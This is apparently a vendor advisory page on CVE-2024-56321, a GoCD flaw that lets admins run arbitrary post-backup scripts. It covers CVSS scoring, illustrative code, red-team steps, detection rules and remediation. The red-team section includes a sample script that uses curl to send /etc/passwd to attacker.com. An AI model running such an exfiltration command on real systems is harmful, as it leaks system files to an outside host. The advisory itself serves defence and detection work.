CVE-2024-56321
Executive Summary
CVE-2024-56321 is a vulnerability in GoCD, a continuous delivery server, affecting versions 18.9.0 through 24.4.0. The flaw allows GoCD administrators to abuse the backup configuration "post-backup script" feature to execute arbitrary scripts on the hosting server or container as the GoCD user, rather than only pre-configured scripts. While the impact is limited in typical deployments where GoCD admins also have host administration permissions, it poses a risk in restricted environments where these roles are separated. The vulnerability is fixed in GoCD 24.5.0, which restricts script execution from sensitive locations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the GoCD application, which is a standalone server software. It is not a package library (NPM, PyPI, Go, Ruby) but rather a deployable application. Therefore, supply chain package security considerations are not directly applicable. However, organizations using GoCD should ensure they are running the latest patched version (24.5.0 or later) to mitigate this and other potential vulnerabilities.
CVSS Breakdown & Threat Level
- CVSS Score: 3.8 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
- Privileges Required: High (PR:H) – An attacker must have GoCD admin privileges.
- User Interaction: None (UI:N) – No user interaction is required.
- Scope: Unchanged (S:U) – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure is possible.
- Integrity Impact: Low (I:L) – Limited modification of data is possible.
- Availability Impact: None (A:N) – No impact on availability.
Threat Level: Low. The vulnerability requires high privileges (GoCD admin) and has limited impact. However, in environments where GoCD admin and host admin roles are separated, it could be exploited for privilege escalation or lateral movement.
Deep Dive & Mechanics
The vulnerability resides in the backup configuration feature of GoCD. Administrators can configure a "post-backup script" to run after a backup is completed. In vulnerable versions, this script is executed with the privileges of the GoCD user, but the script path is not properly validated. An admin can specify an arbitrary script path, potentially pointing to a script they control, leading to arbitrary code execution.
The core issue is a lack of path validation or restriction on where the post-backup script can reside. In the patched version (24.5.0), GoCD restricts execution to scripts located within specific, non-sensitive directories, preventing abuse.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-24.5.0): The backup configuration allows specifying any script path without validation.
// Vulnerable: No path restriction
String scriptPath = backupConfig.getPostBackupScript();
ProcessBuilder pb = new ProcessBuilder(scriptPath);
pb.start();
Patched Code (24.5.0+): The script path is validated to ensure it is within allowed directories.
// Patched: Path validation
String scriptPath = backupConfig.getPostBackupScript();
if (!isAllowedScriptPath(scriptPath)) {
throw new SecurityException("Script path not allowed: " + scriptPath);
}
ProcessBuilder pb = new ProcessBuilder(scriptPath);
pb.start();
private boolean isAllowedScriptPath(String path) {
// Only allow scripts from specific directories
return path.startsWith("/opt/gocd/scripts/") || path.startsWith("/var/lib/go-server/scripts/");
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to GoCD web UI with admin credentials.
- Ability to modify backup configuration.
Steps:
- Log in to GoCD as an admin.
- Navigate to Admin > Backup.
- In the "Post-backup script" field, enter the path to a malicious script (e.g.,
/tmp/evil.sh). - Create the malicious script on the server (if you have write access) or use an existing script.
- Trigger a backup manually or wait for the scheduled backup.
- The script executes with GoCD user privileges.
Example Malicious Script (/tmp/evil.sh):
#!/bin/bash
# Exfiltrate sensitive data
curl -X POST -d @/etc/passwd http://attacker.com/exfil
Note: In practice, exploitation requires the attacker to already have admin access, which limits the impact.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual script execution from the GoCD user.
- Audit backup configuration changes.
- Monitor network connections from the GoCD server to unknown destinations.
Prevention:
- Upgrade to GoCD 24.5.0 or later.
- Restrict GoCD admin access to trusted personnel only.
- Implement host-level monitoring for unexpected process execution.
Indicators of Compromise (IOCs)
- File Paths: Unusual script paths in backup configuration (e.g.,
/tmp/,/dev/shm/,/var/tmp/). - Process Execution: Execution of scripts from non-standard locations by the GoCD user.
- Network Connections: Outbound connections from the GoCD server to suspicious IPs or domains.
- Log Entries: Backup logs showing execution of unexpected scripts.
Detection Engineering
YARA Rule
rule CVE_2024_56321_GoCD_Backup_Script_Abuse {
meta:
description = "Detects potential abuse of GoCD post-backup script feature"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56321"
strings:
$s1 = "postBackupScript" nocase
$s2 = "backup" nocase
$s3 = "script" nocase
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: GoCD Post-Backup Script Abuse
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of arbitrary scripts via GoCD backup configuration
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-56321
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/bin/bash'
CommandLine|contains: '/tmp/'
condition: selection
falsepositives:
- Legitimate scripts in /tmp/ by other processes
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56321 GoCD Backup Script Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/exfil"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade GoCD: Update to version 24.5.0 or later, which restricts post-backup script execution to allowed directories.
- Review Admin Access: Audit and restrict GoCD admin privileges to only necessary personnel.
- Monitor Backup Configurations: Regularly review backup configuration changes for unauthorized modifications.
Long-term Measures:
- Implement the principle of least privilege for GoCD admins.
- Use host-level security controls (e.g., SELinux, AppArmor) to restrict the GoCD user.
- Enable logging and alerting for backup script execution.
Workarounds:
- No official workarounds are available. Upgrading is the only solution.
Valters IT
Securing Your Digital Frontier